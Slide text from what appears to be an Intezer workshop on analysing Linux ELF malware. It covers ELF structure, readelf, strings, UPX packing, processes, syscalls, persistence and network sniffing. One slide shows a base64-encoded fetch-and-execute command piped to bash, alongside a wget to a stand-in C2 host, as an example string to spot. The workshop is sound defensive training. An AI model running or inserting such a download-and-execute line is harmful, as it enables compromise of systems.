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Agenda 
1. Intro to Linux malware 
2. Environment preparation
3. Initial analysis
4. Advanced analysis
5. Real-life exercise 
6. Summarize



ELF Malware Threat Landscape
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ELF Malware Threat Landscape
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ELF Malware Threat Landscape



How Does ELF Malware Infect Systems?

1. Vulnerability exploit

2. Misconfiguration

3. Use of valid credentials

4. Supply chain attack

2+



Why Linux Malware is Off the Radar?



The Threat is Real



Before We Start

1. Linux is used broadly

2. The threat is real and emerging

3. Lack of ELF malware visibility



Environment Preparation

1. Turn on Linux VM
2. Run: git clone https://github.com/intezer/ELF-Malware-Analysis-101.git
3. Run: cd ELF-Malware-Analysis-101
4. Run: chmod -R u+x workshop/
5. Run: 

a. sudo apt-get install upx
b. sudo apt-get install wireshark

https://github.com/intezer/ELF-Malware-Analysis-101.git


Initial Analysis 

What is it?

● Gather information about the sample

● Decide if you should spend more time on a

deeper analysis of the sample



ELF Format Static Components

https://github.com/intezer/ELF-Malware-Analysis-101/blob/master/Part-2-Initial-Analysis/Article-samples/training_sample.c


ELF Header

General data about the binary

● The binary’s entry point 

● 32 bit or 64 bit

● The location of the

program headers table

readelf -h training-sample



Static vs Dynamic Linking



Symbols

● What are symbols?

● .dynsym and .symtab readelf -s training-sample



Symbols

https://github.com/intezer/ELF-Malware-Analysis-101/blob/master/Part-2-Initial-Analysis/Article-samples/training_sample.c


readelf -s training-sample | grep FUNC



Symbols

https://github.com/intezer/ELF-Malware-Analysis-101/blob/master/Part-2-Initial-Analysis/Article-samples/training_sample.c


readelf -s training-sample | grep OBJECT



Segments (Program Headers) and Sections

● Segments describe the binary’s memory layout and they are necessary for 

execution

● Sections contains information needed for linktime and are not necessary for 

execution



Segments (Program Headers) and Sections

readelf -l training-sample



Segments (Program Headers) and Sections

Packed file segment table:



Segments (Program Headers) and Sections

Compiled with Pyinstaller:



Stripped Files
objcopy -S training-sample training-sample-stripped

readelf -s training-sample-stripped



Questions?



File’s Output

Simply running the file in a VM.



Strings

Classic, basic & highly effective.

● Declared chars

● Symbols & other strings that are related to the file format

strings training-sample > str.txt



Strings - W hat W ill  W e L ook  F or?

● Network related strings

● Encoded strings (base64, hex)

● Paths

● Commands

echo d2dldCBodHRwOi8vc29tZW5vbmV4aXRpbmdjbmNbLl1jb20vbWFsd2FyZS5hcHA=|base64 -d |bash;

wget http://somenonexitingcnc[.]com/malware.app

base64 decode



Strings Reuse

Example: Lazarus’s ManusCrypt ELF version



Example: Rekoobe sample had 0 detections in VirusTotal.

Code Reuse



Packers

● What’s a packer?

● Why they are used?

● VMprotect, elfuck, ps2-packer

● Ezuri

● UPX



UPX Pack & Unpack
gcc -static training_sample.c -o training-sample-static

upx -9 training-sample-static -o training-sample-static-packed

readelf -a training-sample-static-packed

Strings training-sample-static-packed | grep upx

upx -d training-sample-static-packed



Questions?



Let’s Practice!



Initial Analysis Practice

● Is this malicious? 

● Has anyone studied it before?

● What it is?

Hints:
● readelf
● upx
● Strings
● Google ;)



Advanced Analysis - Dy nam ic A naly s is

● What it is?

● When to use dynamic analysis?

Static Analysis       vs Dynamic Analysis



Advanced Analysis

Important!!

1. Use a VM!

2. Save a clean snapshot before you start the analysis

3. Don’t connect the VPN to your network
a. Use a VPN



Sandboxes

● VIrtual Machines (VMware, VirtualBox) - Local

● Online sandboxes:

○ Hybrid-Analysis – Online

○ Hatching-Triage – Online

○ LiSa – Open-source



Linux Processes

● Every instance of a running program on the system is a process

● Each process has its unique process ID

Commands:

● ps

● top

https://man7.org/linux/man-pages/man1/ps.1.html
https://man7.org/linux/man-pages/man1/top.1.html


Linux Processes - T he proc F ilesy stem

● The “proc” filesystem is a pseudo-filesystem provided by the Linux kernel

● Usually mounted under /proc



Linux Processes - T he proc F ilesy stem

ping 8.8.8.8 pidof ping cd /proc/#



Linux Processes - Process  T ree

● Insights about what is running on a machine

● A single executable can create more than one process on the machine



Linux Processes - Process  T ree

Scenarios for process creations:

1. Other process creation

2. Forks

3. Threads



Linux Processes - Process  T ree

./ping-google-dns

Other process creation

ping-google-dns.c



Linux Processes - Process  T ree

./ping-google-dns-fork

Forks

ping-google-dns-fork.c



print-something.c

Linux Processes - Process  T ree

./print-something

Threads



Syscalls (System Calls)

● open/openat – open and possibly create a file.
● read – read from a file descriptor.
● access – check user’s permissions for a file.
● write – write to a file descriptor.
● mkdir/mkdirat – make directories.
● connect – initiate a connection on a socket.
● socket – create an endpoint for communication.
● execve – execute program

Syscalls are the interface used by the application to request services from the kernel.

https://man7.org/linux/man-pages/man2/syscalls.2.html


Syscalls (System Calls)

strace -o out.txt ./trace-me

cat out.txt



Questions?



Persistence Methods

Why threat actors want to achieve persistence? 

Methods to get persistence:

● cron

● Services

● Loadable Kernel Modules (LKM) 

● Hijack Execution Flow 



Network Sniffing

● Why you should monitor the network?

● How?

○ tcpdump

○ Wireshark

○ InetSim

https://www.tcpdump.org/
https://www.tcpdump.org/
https://www.wireshark.org/
https://www.inetsim.org/


Questions?



Advanced Analysis

● Tools:

○ IDA

○ R2

○ Ghidra

● The flow

○ Strings

○ Imports and Exports

○ System calls

○ Functions



Let’s Practice!



Dynamic Analysis - E x ercise 

● Is it malicious?
● What changes does it do on the system?
● Does it try to connect to a C2? 
● How should I kill this?

Hints:
● Strings
● Wireshark (sudo apt-get install wireshark)
● strace 



What Have We Learned?

● Linux threats are real
● ELF file format
● Basic Linux infrastructure
● Tools for ELF analysis
● Methodologies for ELF analysis



Thank You!

Nicole Fishbein

@NicoleFishi19

Avigayil Mechtinger

@AbbyMCH

https://www.intezer.com/blog/malware-
analysis/elf-malware-analysis-101-part-3-
advanced-analysis/

https://twitter.com/NicoleFishi19
https://twitter.com/AbbyMCH
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